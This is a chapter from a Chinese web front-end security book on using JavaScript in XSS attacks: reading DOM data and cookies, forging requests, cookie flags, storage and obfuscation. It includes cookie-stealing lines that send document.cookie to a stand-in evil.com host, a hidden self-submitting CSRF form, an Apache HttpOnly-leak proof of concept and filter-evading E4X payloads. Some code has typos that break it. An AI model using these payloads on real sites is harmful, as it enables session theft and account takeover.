2.5 跨站之魂——JavaScript
在Web前端安全中,JavaScript控制了整个前端的逻辑,通过JavaScript可以完成许多操作。举个例子,用户在网站上都有哪些操作?首先提交内容,然后可以编辑与删除,那么这些JavaScript几乎都可以完成,为什么是“几乎”?因为碰到提交表单需要验证码的情况,JavaScript就不行了,虽然有HTML5的canvas来辅助,不过效果并不会好。
对跨站师来说,大多数情况下,有了XSS漏洞,就意味着可以注入任意的JavaScript,有了JavaScript,就意味着被攻击者的任何操作都可以模拟,任何隐私信息都可以获取到。可以说,JavaScript就是跨站之魂。
2.5.1 DOM树操作
在2.4.1节我们知道了DOM树,并且提到通过DOM操作能够获取到各种隐私信息。现在来看看都怎么获取。
1. 获取HTML内容中的隐私数据
比如,要获取的隐私数据是用户的私信内容,内容在DOM的位置如下:
<html> <head> …. </head> <body> … <div id="private_msg"> 隐私数据在这…… </div>
接收的参数就是标签名,返回一个数组,数组下标从0开始,于是第3个表示为[2]。
方法有很多,大家可以自己思考。
2. 获取浏览器的Cookies数据
Cookies中保存了用户的会话信息,通过doc-ument.cookie可以获取到,不过并不是所有的Cookies都可以获取,具体内容在2.5.4节详细介绍。
3. 获取URL地址中的数据
从window.location或location处可以获取URL地址中的数据。
除了获取数据,还有通过DOM操作生成新的DOM对象或移除DOM对象。这些都非常有用,在此推荐查阅《JavaScript DOM编程艺术》一书以了解更多的内容。
2.5.2 AJAX风险
AJAX简直就是前端黑客攻击中必用的技术模式,全称为Asynchronous JavaScript And XML,即异步的JavaScript与XML。这里有三个点:异步、JavaScript、XML。
异步和同步对应,异步可以理解为单独开启了一个线程,独立于浏览器主线程去做自己的事,这样浏览器就不会等待(阻塞),这个异步在后台悄悄进行,所以利用AJAX的攻击显得很诡异,无声无息。AJAX本身就是由JavaScript构成的,只是XML并不是必需的,XML在这里是想指数据传输格式是XML,比如,AJAX发出去的HTTP请求,响应回的数据是XML格式,然后JavaScript去解析这个XML DOM树得到相应节点的内容。其实响应回的数据格式还可以是JSON(已经是主流)、文本、HTML等。AJAX中特别提到XML是因为历史原因。
AJAX的核心对象是XMLHttpRequest(一般简称为xhr),不过IE 7之前的浏览器不支持xhr对象,而是通过ActiveXObject来实现的。看下面的xhr实例化:
var xmlhttp; if(window.XMLHttpRequst){ xmlhttp = new XMLHttpRequst(); // IE7+, Firefox, Chrome, Opera, Safari等 } else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); // IE 6/IE 5浏览器的方式 }
实例化后就是设置好回调,然后发送HTTP请求需要的头部与参数键值,待响应成功后会触发该回调,回调函数就可以处理响应回来的数据了。这里需要注意,不是任何请求头都可以通过JavaScript进行设置的,否则前端的逻辑世界就乱了,W3C给出了一份头部黑名单:
Accept-Charset Accept-Encoding Access-Control-Request-Headers Access-Control-Request-Method Connection Content-Length Cookie Cookie2 Content-Transfer-Encoding Date Expect Host Keep-Alive Origin Referer TE Trailer Transfer-Encoding Upgrade User-Agent Via ...
这个黑名单曾经是不完备的,也有一些技巧导致黑名单被绕过,导致可以任意提交Referer/User-Agent/Cookie等头部值,随着时间的推移,黑名单总是有自己的风险。
响应回的数据也包括头部与体部,通过getRe-sponseHeader函数可以获得指定的响应头,除了Set-Cookie/Set-Cookie2(其中可能就有设置了HttpOnly标志的Cookie,这是严禁客户端脚本读取的)等。更方便的是可以通过getAllResponse-Headers获取所有合法的响应头。
AJAX是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。不过有一种情况,可以发送数据到另一个域,W3C的新标准中,CORS(Cross-Origin Resource Sharing)开始推进浏览器支持这样的跨域方案,现在的浏览器都支持这个方案了,过程如下:
www.foo.com(来源域)的AJAX向www.evil.com(目标域)发起了请求,浏览器会给自动带上Origin头,如下:
Origin: http://www.foo.com
然后目标域要判断这个Origin值,如果是自己预期的,那么就返回:
Access-Control-Allow-Origin: http://www.foo.com
表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限错误:
XMLHttpRequest cannot load http://www.evil.com. Origin http://www.foo.com is not allowed by Access-Control-Allow-Origin.
IE下不使用XMLHttpRequest对象,而是自己的XDomainRequst对象,实例化后,使用方式与XMLHttpRequest基本一致。如下代码能让我们的CORS方案兼容:
<script> function createCORSRequest(method, url){ var xhr = new XMLHttpRequest(); if ("withCredentials" in xhr){ xhr.open(method, url, true); } else if (typeof XDomainRequest != "undefined"){ xhr = new XDomainRequest(); // IE浏览器 xhr.open(method, url); } else { xhr = null; } return xhr; } var request = createCORSRequest("get", "http://www.evil.com/steal.php?data=456"); if (request){ request.onload = function(){ // 请求成功后 alert(request.responseText); // 弹出响应的数据 }; request.send(); // 发送请求 } </script>
上述代码存放在www.foo.com域上,跨域往目标域发起请求,目标域steal.php的代码如下:
<?php header("Access-Control-Allow-Origin: http://www.foo.com"); //... ?>
注:根据上面这些简陋的代码,我们可以丰富一下,想想适合怎样的攻击场景?有一个实时远控的场景,我们可以将源头域上的隐私数据(每3秒)跨域提交到目标域上,并获取目标域响应的内容,这样的内容可以动态生成,也可以是JavaScript指令,然后在源头域上被eval等方式动态执行。更多的内容可查看第7章相关章节。
如果目标域不设置Access-Control-Allow-Origin: http://www.foo.com,那么隐私数据可以被偷到吗?答案是肯定的。虽然浏览器会报权限错
有了CORS机制,跨域就变得特别方便了,该功能要慎重使用,否则后果会很严重。
2.5.3 模拟用户发起浏览器请求
在浏览器中,用户发出的请求基本上都是HTTP协议里的GET与POST方式。对于GET方式,实际上就是一个URL,方式有很多,常见的如下:
// 新建一个img标签对象,对象的src属性指向目标 地址 new Image().src = "http://www.evil.com/steal.php" + escape(document.cookie); // 在地址栏里打开目标地址 location.href = "http://www.evil.com/steal.php"+escape(document.cookie);
这个原理是相通的,通过JavaScript动态创建iframe/frame/script/link等标签对象,然后将它们的src或href属性指向目标地址即可。
对于POST的请求,前面说的XMLHttpRe-quest对象就是一个非常方便的方式,可以模拟表单提交,它有异步与同步之分,差别在于XML-HttpRequst实例化的对象xhr的open方法的第三个参数,true表示异步,false表示同步,如果使用异步方式,就是AJAX。异步则表示请求发出去后,JavaScript可以去做其他事情,待响应回来后会自动触发xhr对象的onreadystatechange事件,可以监听这个事件以处理响应内容。同步则表示请求发出去后,JavaScript需要等待响应回来,这期间就进入阻塞阶段。如下是一段同步的示例:
xhr = function(){ /*xhr对象*/ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { try { request = new window.ActiveXObject('Microsoft.XMLHTTP'); } catch(e) {} } return request; }(); request = function(method,src,argv,content_type){ xhr.open(method,src,false); // 同步方式 if(method=='POST') xhr.setRequestHeader('Content-Type',content_type); // 设置表单的Content-Type类型,常见的是application/x-www-form-urlencoded xhr.send(argv); // 发送POST数据 return xhr.responseText; // 返回响应的内容 }; attack_a = function(){ var src = http://www.evil.com/steal.php; var argv_0 = "&name1=value1&name2=value2"; request("POST",src,argv_0,"application/x-www-form-urlencoded"); }; attack_a();
POST表单提交的Content-Type为applica-tion/x-www-form-urlencoded,它是一种默认的标准格式。还有一种比较常见:multipart/form-data。它一般出现在有文件上传的表单中,示例如下:
xhr = function(){ /*省略xhr对象的创建*/ }(); request = function(method,src,argv,content_type){ xhr.open(method,src,false); if(method=='POST') xhr.setRequestHeader('Content-Type',content_type); xhr.send(argv); return xhr.responseText; } attack_a = function(){ var src = http://www.evil.com/steal.php; var name1 = "value1"; var name2 = "value2"; var argv_0 = "\r\n"; argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name1\"\r\n\r\n"; argv_0 += (name1+"\r\n"); argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"name2\"\r\n\r\n"; argv_0 += (name2+"\r\n"); argv_0 += "---------------------7964f8dddeb95fc5--\r\n"; /* POST提交的参数是以-------------------7964f8dddeb95fc5分隔的 下面设置表单提交的Content-Type与form-data 分隔边界为:multipart/form-data;boundary=-------------------7964f8dddeb95fc5 */ request("POST",src,argv_0,"multipart/form-data;boundary=-------------------7964f8dddeb95fc5"); } attack_a();
除了可以通过xhr对象模拟表单提交外,还有一种比较原始的方式:form表单自提交。原理是通过JavaScript动态创建一个form,并设置好form中的每个input键值,然后对form对象做sub-mit()操作即可,示例如下:
function new_form(){ var f = document.createElement("form"); document.body.appendChild(f); f.method = "post"; return f; } function create_elements(eForm, eName, eValue){ var e = document.createElement("input"); eForm.appendChild(e); e.type = 'text'; e.name = eName; if(!document.all){ e.style.display ='none'; } else{ e.style.display = 'block'; e.style.width = '0px'; e.style.height = '0px'; } e.value = eValue; return e; } var _f = new_form(); // 创建一个form对象 create_elements(_f, "name1", "value1"); // 创建form中的input对象 create_elements(_f, "name2", "value2"); _f.action= "http://www.evil.com/steal.php"; // form提交地址 _f.submit(); // 提交
我们介绍了好几种模拟用户发起浏览器请求的方法,其用处很大且使用很频繁。前端黑客攻击中,比如XSS经常需要发起各种请求(如盗取Cook-ies、蠕虫攻击等),上面的几种方式都是XSS攻击常用的,而最后一个表单自提交方式经常用于CSRF攻击中。
2.5.4 Cookie安全
Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie。
由于这样的机制,Cookie经常被用来存储用户的会话信息,比如,用户登录认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,非常方便。所以,攻击者就特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。
Cookie的重要字段如下:
[name][value][domain][path][expires][httponly][secure]
其含义依次是:名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。这些字段用好了,Cookie就是安全的,下面对关键的字段进行说明。
1. 子域Cookie机制
这是domain字段的机制,设置Cookie时,如果不指定domain的值,默认就是本域。例如,a.foo.com域通过JavaScript来设置一个Cookie,语句如下:
document.cookie="test=1";
那么,domain值默认为a.foo.com。有趣的是,a.foo.com域设置Cookie时,可以指定domain为父级域,比如:
document.cookie="test=1;domain=foo.com";
此时,domain就变为foo.com,这样带来的好处就是可以在不同的子域共享Cookie,坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie。另外,这个机制不允许设置Cookie的domain为下一级子域或其他外域。
2. 路径Cookie机制
这是path字段的机制,设置Cookie时,如果不指定path的值,默认就是目标页面的路径。例如,a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie,语句如下:
document.cookie="test=1";
path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie。那么有什么办法跨路径读取Cookie?比如,/evil/路径想读取/admin/路径的Cookie。很简单,通过跨iframe进行DOM操作即可,/evil/路径下页面的代码如下:
xc = function(src){ var o = document.createElement("iframe"); // iframe进入同域的目标页面 o.src = src; document.getElementsByTagName("body")[0].appendChild(o); o.onload = function(){ // iframe加载完成后 d = o.contentDocument || o.contentWindow.document; // 获取document对象 alert(d.cookie); // 获取cookie }; }('http://a.foo.com/admin/index.php');
所以,通过设置path不能防止重要的Cookie被盗取。
3. HttpOnly Cookie机制
顾名思义,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie。以PHP setcookie为例,httponly.php文件代码如下:
<?php setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie setcookie("test_http", 1, time()+3600, "", "", 0, 1); // 第7个参数(这里的最后一个)是HttpOnly标志,0为关闭,1为开启,默认为0 ?>
请求这个文件后,设置了两个Cookie,如图2-2所示。
图2-2 设置的Cookie值
其中,test_http是HttpOnly Cookie。有什么办法能获取到HttpOnly Cookie?如果服务端响应的页面有Cookie调试信息,很可能就会导致HttpOnly Cookie的泄漏。比如,以下信息。(1)PHP的phpinfo()信息,如图2-3所示。
图2-3 phpinfo()信息
(2)Django应用的调试信息,如图2-4所示。
图2-4 Django调试信息
(3)CVE-2012-0053关于Apache Http Server400错误暴露HttpOnly Cookie,描述如下:
Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回400(Bad Request)错误,并在返回信息中将出错的请求头内容输出(包含请求头里的HttpOnlyCookie),攻击者可以利用这个缺陷获取HttpOnlyCookie。
可以通过技巧让Apache报400错误,例如,如下POC(Proof of Concept,为观点提供证据):
<script> /* POC来自:https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 大多数浏览器限制Cookies最大为4kB,我们设置为更大,让请求头长度超过Apache的Lim-itRequestFieldSize,从而引发400错误。 */ function setCookies (good) { var str = ""; for (var i=0; i< 819; i++) { str += "x"; } for (i = 0; i < 10; i++) { if (good) { // 清空垃圾Cookies var cookie = "xss" + i + "=;expires=" + new Date(+new Date()-1).toUTCString() + "; path=/;"; } // 添加垃圾Cookies else { var cookie = "xss"+i+"="+str+";path=/"; } document.cookie = cookie; } } function makeRequest() { setCookies(); // 添加垃圾Cookies function parseCookies () { var cookie_dict = {}; // 仅当处于400状态时 if (xhr.readyState === 4 && xhr.status === 400) { // 替换掉回车换行字符,然后匹配出<pre></pre>代码段里的内容 var content = xhr.responseText .replace(/\r|\n/g,'') .match(/<pre>(.+)<\/pre>/); if (content.length) { // 替换“Cookie: ”前缀 content = content[1].replace("Cookie: ", ""); var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g) for (var i=0; i<cookies.length; i++) { var s_c = cookies[i].split('=',2); cookie_dict[s_c[0]] = s_c[1]; } } setCookies(true); // 清空垃圾Cookies alert(JSON.stringify(cookie_dict)); // 得到HttpOnly Cookie } } // 针对目标页面发出xhr请求,请求会带上垃圾Cookies var xhr = new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("GET", "httponly.php", true); xhr.send(null); } makeRequest(); </script>
apache 400 httponly cookie poc
请求这个POC时,发出的请求头信息如图2-5所示。
图2-5 POC发出的请求头信息
此时,httponly.php(其代码在前面已给出)会出现400错误,导致HttpOnly Cookie泄漏,如图2-6所示。
图2-6 Apache 400错误报出的HttpOnly Cookie
上面的几个例子中,服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞,需谨慎对待,否则XSS会轻易获取到同域内的HttpOnlyCookie。
4. Secure Cookie机制
Secure Cookie机制指的是设置了Secure标志的Cookie仅在HTTPS层面上安全传输,如果请求是HTTP的,就不会带上这个Cookie,这样能降低重要的Cookie被中间人截获的风险。
不过有个有意思的点,Secure Cookie对于客户端脚本来说是可读写的。可读意味着Secure Cookie能被盗取,可写意味着能被篡改。如下的JavaScript代码可对已知的Secure Cookie进行篡改:
// path与domain必须一致,否则会被认为是不同的Cookie document.cookie="test_secure=hijack;path=/;secure;"
5. 本地Cookie与内存Cookie
理解这个很简单,它与过期时间(Cookie的expires字段)紧密相关。如果没设置过期时间,就是内存Cookie,这样的Cookie会随着浏览器的关闭而从内存中消失;如果设置了过期时间是未来的某个时间点,那么这样的Cookie就会以文本形式保存在操作系统本地,待过期时间到了才会消失。示例(GMT时间,2112年1月1日才会过期)如下:
document.cookie="test_expires=1; expires=Mon, 01 Jan 2112 00:00:00 GMT;"
很多网站为了提升用户体验,不需要每次都登录,于是采用本地Cookie的方式让用户在未来1个月、半年、永久等时间段内都不需要进行登录操作。通常,用户体验与风险总是矛盾的,体验好了,风险可能也变大了,比如,攻击者通过XSS得到这样的本地Cookie后,就能够在未来很长一段时间内,甚至是永久控制着目标用户的账号权限。
这里并不是说内存Cookie就更安全,实际上,攻击者可以给内存Cookie加一个过期时间,使其变为本地Cookie。用户账户是否安全与服务端校验有关,包括重要Cookie的唯一性(是否可预测)、完整性(是否被篡改了)、过期等校验。
6. Cookie的P3P性质
HTTP响应头的P3P(Platform for PrivacyPreferences Project)字段是W3C公布的一项隐私保护推荐标准。该字段用于标识是否允许目标网站的Cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。
比如,evil域通过script或iframe等方式加载foo域(此时foo域被称为第三方域)。加载的时候,浏览器是否会允许foo域设置自己的Cookie,或是否允许发送请求到foo域时,带上foo域已有的Cookie。我们有必要区分设置与发送两个场景,因为P3P策略在这两个场景下是有差异的。
(1)设置Cookie。
Cookie包括本地Cookie与内存Cookie。在IE下默认都是不允许第三方域设置的,除非foo域在响应的时候带上P3P字段,如:
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
该字段的内容本身意义不大,不需要记,只要知道这样设置后,被加载的目标域的Cookie就可以被正常设置了。设置后的Cookie在IE下会自动带上P3P属性(这个属性在Cookie中是看不到的),一次生效,即使之后没有P3P头,也有效。(2)发送Cookie
发送的Cookie如果是内存Cookie,则无所谓是否有P3P属性,就可以正常发送;如果是本地Cookie,则这个本地Cookie必须拥有P3P属性,否则,即使目标域响应了P3P头也没用。
要测试以上结论,可以采用如下方法。(1)给hosts文件添加www.foo.com与www.evil.com域。
(2)将如下代码保存为foo.php,并保证能通过www.foo.com/cookie/foo.php访问到。
<?php //header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); setcookie("test0", 'local', time()+3600*3650); setcookie("test_mem0", 'memory'); var_dump($_COOKIE); ?>
(3)将如下代码保存为evil.php,并保证能通过www.evil.com/cookie/evil.php访问到。
<iframe src="http://www.foo.com/cookie/ foo.php"></iframe>
(4)IE浏览器访问www.evil.com/cookie/evil.php,通过fiddler等浏览器代理工具可以看到foo.php尝试设置Cookie,当然由于没响应P3P头,所以不会设置成功。
(5)将foo.php的P3P响应功能的注释去掉,再访问www.evil.com/cookie/evil.php,可以发现本地Cookie(test0)与内存Cookie(test_mem0)都已设置成功。
(6)修改foo.php里的Cookie名,比如,test0改为test1,test_mem0改为test_mem1等,注释P3P响应功能,然后直接访问www.foo.com/cookie/foo.php,这时会设置本地Cookie(test1)与内存Cookie(test_mem1),此时这两个Cookie都不带P3P属性。
(7)再通过访问www.evil.com/cookie/evil.php,可以发现内存Cookie(test_mem1)正常发送,而本地Cookie(test1)没有发送。
(8)继续修改foo.php里的Cookie名,test1改为test2,test_mem1改为test_mem2,去掉P3P响应功能的注释,然后直接访问www.foo.com/cookie/foo.php,此时本地Cookie(test2)与内存Cookie(test_mem2)都有了P3P属性。
(9)这时访问www.evil.com/cookie/evil.php,可以发现test2与test_mem2都发送出去了。
这些细节对我们进行安全研究非常关键,比如,在CSRF攻击的时候,如果iframe第三方域需要Cookie认证,这些细节对我们判断成功与否非常有用。
2.5.5 本地存储风险
浏览器的本地存储方式有很多种,常见的如表2-1所示。
表2-1 本地存储描述
本地存储的主要风险是被植入广告跟踪标志,有的想删都不一定能删除干净。比如,广为人知的evercookie,不仅利用了如上各种存储,还使用了以下存储。
· Silverlight的IsolatedStorage,类似FlashCookie。
· PNG Cache,将Cookie转换成RGB值描述形式,以PNG Cache方式强制缓存着,读入则以HTML5的canvas对象读取并还原为原来的Cookie值。
· 类似PNG Cache机制的还有HTTP Etags、Web Cache,这三种本质上都是利用了浏览器缓存机制:浏览器会优先从本地读取缓存的内容。
· Web History,利用的是“CSS判断目标URL是否访问过”技巧,属于一种过时的技巧。
· window.name,本质就是一个DOM存储,并不存在本地。
evercookie使用了10多种存储方式,互相配合,如果哪个存储被删除,再次请求evercookie页面时,被删除的值会被恢复。这就是evercookie的目的:永久性Cookie。
以下重点介绍Cookie、userData、localStor-age、Flash Cookie,看看它们的存储特性。
1. Cookie
大多数浏览器限制每个域能有50个Cookie。不同的浏览器能存储的Cookies是有差异的,其最大值约为4KB,若超过这个值,浏览器就会删除一些Cookie,这个删除策略也是不太一样的。关于这些差异,有兴趣的读者可以自己去研究。
Cookie的很多操作在上一节已经提过,在此特别提醒一下,删除Cookie时,仅需设置过期值为过去的时间即可。Cookie无法跨浏览器存在。
2. userData
微软在IE 5.0以后,自定义了一种持久化用户数据的概念userData,用户数据的每个域最大为64KB。这种存储方式只有IE浏览器自己支持,下面看看如何操作。
<div id="x"></div> <script> function set_ud(key,value) { var a = document.getElementById('x'); // x为任意div的id值 a.addBehavior("#default#userdata"); a.setAttribute(key,value); a.save("db"); } function get_ud(key) { var a = document.getElementById('x'); a.addBehavior("#default#userdata"); a.load("db"); alert(a.getAttribute(key)); } function del_ud(key) { var a = document.getElementById('x'); a.addBehavior("#default#userdata"); a.setAttribute(key, ""); // 设置为空值即可 a.save("db"); } window.onload = function(){ set_ud('a','xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); // 设置 get_ud('a'); // 获取a的值 del_ud('a'); // 删除a的值 get_ud('a'); // 获取a的值 }; </script>
3. localStorage
HTML5的本地存储localStorage是大势所趋,如果仅存储在内存中,则是sessionStorage。它们的语法都一样,仅仅是一个存储在本地文件系统中,另一个存储在内存中(随着浏览器的关闭而消失),其语句如下:
localStorage.setItem("a", "xxxxxxxxxxxxxxx"); // 设置 localStorage.getItem("a"); // 获取a的值 localStorage.removeItem("a"); // 删除a的值
注意,localStorage无法跨浏览器存在。
如表2-2所示的5大浏览器现在都支持以lo-calStorage方式进行存储,其中,Chrome、Opera、Safari这3款浏览器中都有查看本地存储的功能模块。但是不同的浏览器对localStorage存储方式还是略有不同的。表2-2是5大浏览器localStorage的存储方式。
表2-2 5大浏览器localStorage存储方式
通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均采用明文存储数据。
另一方面,在数据存储的时效性上,localStor-age并不会像Cookie那样可以设置数据存活的时限。也就是说,只要用户不主动删除,localStorage存储的数据将会永久存在。
根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,哪怕这些信息进行过加密。
另外,对身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。通过前面的知识可以知道,后来为了防止通过XSS获取Cookie数据,浏览器支持使用HttpOnly来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何防御机制,一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。
4. Flash Cookie
Flash是跨浏览器的通用解决方案,FlashCookie的默认存储数据大小是100KB。关于Flash的相关知识,将在2.7节详细介绍,下面看看如何使用ActionScript脚本操作Flash Cookie。
function set_lso(k:String="default", v:String=""):void { // 设置值 var shared:SharedObject = SharedObject.getLocal("db"); shared.data[k] = v; shared.flush(); } function get_lso(k:String="default"):String { // 获取值 var str:String = ""; var shared:SharedObject = SharedObject.getLocal("db"); str = shared.data[k]; return str; } function clear_lso():void { // 清空值 var shared:SharedObject = SharedObject.getLocal("db"); shared.clear(); }
2.5.6 E4X带来的混乱世界
E4X是ECMAScript For XML的缩写。本书的两大脚本JavaScript和ActionScript都遵循EC-MAScript标准,所以在E4X的语法上是一致的。对于JavaScript来说,当前只有Firefox支持E4X,这种技术是将XML作为JavaScript的对象,直接通过如下形式声明:
<script> foo=<foo><id name="thx">x</id></foo>; // 注 意,没有引号包围 alert(foo.id); // 弹出XML的id标签节点的值:x </script>
通过使用E4X技术,可以混淆JavaScript代码,甚至绕开一些过滤规则。下面进一步了解E4X的使用,从上面的样例中如何得到name的值?可以这样:
alert(foo.id.@name); // 访问属性节点用@符号,
id字符串可以省略,直接下面这样:
alert(foo..@name);
更进一步:
alert(<foo>hi</foo>); //弹出hi,继续缩短代 码?像下面这样: alert(<>hi</>) //也弹出hi,注意,没引号
于是我们可以考虑将脚本放到XML数据中,比如,x=<>alert('hello')</>(将整个XML数据赋值给x),然后获取这个XML数据,并将eval显示出来:eval(x+[]),注意,[]不可少。
这些测试都是在脚本内操作XML数据的。那么在这个“内嵌”的XML数据里如何执行脚本表达式呢?比如:x=<>alert('hello')</>是无法自执行的,改为:x=<>{alert('hello')}</>就行了,即加个花括弧,表示里面是要执行的脚本。
通过上面这些技巧,可以很好地理解如下混淆的代码:
· Function(<text>\u0061{new String}lert(0)</text>)()
· Function(<text>aler{[]}t('cool')</text>)()
· Function(<text><x y="a"></x><x y="lert"></x><x y="(123)"></x></text>..@y)()
· location=XML(<x>java{[]}script:ale{[]}rt(/I am e4x/.source)</x>)
· location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>
· eval(<>alert(1)</>+[])
针对上面6个混淆样例,说明如下:
· 样例①与样例②中,花括弧{}内执行的是脚本表达式,new String返回空,[]也返回空,那么alert就是一个完整的,并且可以对其进行编码:十六进制、十进制等。Function本身返回一个函数对象,最后的括弧执行获取到的文本节点内容alert(0),并弹出。
· 样例③比较有意思,@y依次访问XML数据中的y属性节点:a→lert→(123),并弹出。
· 样例④~样例⑥的理解就很简单了,大家自己理解吧。
本节的知识点最早由Gareth Heyes提出,大家如果想了解更多的知识,可以参考他的文章(http://www.thespanner.co.uk/?s=e4x)。
2.5.7 JavaScript函数劫持
JavaScript函数劫持很简单,一般情况下,只要在目标函数触发之前,重写这个函数即可,比如,劫持eval函数的语句如下:
var _eval=eval; eval = function(x){ if(typeof(x)=='undefined'){return;} alert(x); // 这之前可以写任意代码 _eval(x); }; eval('alert(1)');//这时的eval会先弹出它的参数值,然后才是动态执行参数值 eval('alert(1)');//这时的eval会先弹出它的参数值,然后才是动态执行参数值
曾经的浏览器劫持document.write、docu-ment.writeln也同样是这样的方式,不过在IE 9及Firefox、Chrome等新一代浏览器下,这个方式需要做改变,如下:
var _write = document.write.bind(document); // 注意到 bind 方法,可以将目标绑定到 document 对象上,这样_write 执行时就不会报 // 否则会因为默认在window对象下寻找write方法而导致报错,因为该方法不存在 document.write = function(x){ if(typeof(x)=='undefined'){return;} // 这可以写任意代码 _write(x); }; // 除了bind技巧外,还可以这样: var _write = document.write; document.write = function(x){ if(typeof(x)=='undefined') return; // 这可以写任意代码 _write.call(document,x); // call方法,第一个参数表明要绑定到的对象 }; document.write("<script>alert(1)</script>"); // 这样就劫持住了
函数劫持有什么用?
我们知道,在一定程度上是可以自动化分析DOM XSS的,可以动态解密一些混淆的代码(如:网马),JSON HiJacking使用的就是这样的技巧。
关于JavaScript函数劫持更多的知识,可以查看2007年luoluo的文章《浅谈javascript函数劫持》(http://www.xfocus.net/articles/200712/963.html)。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论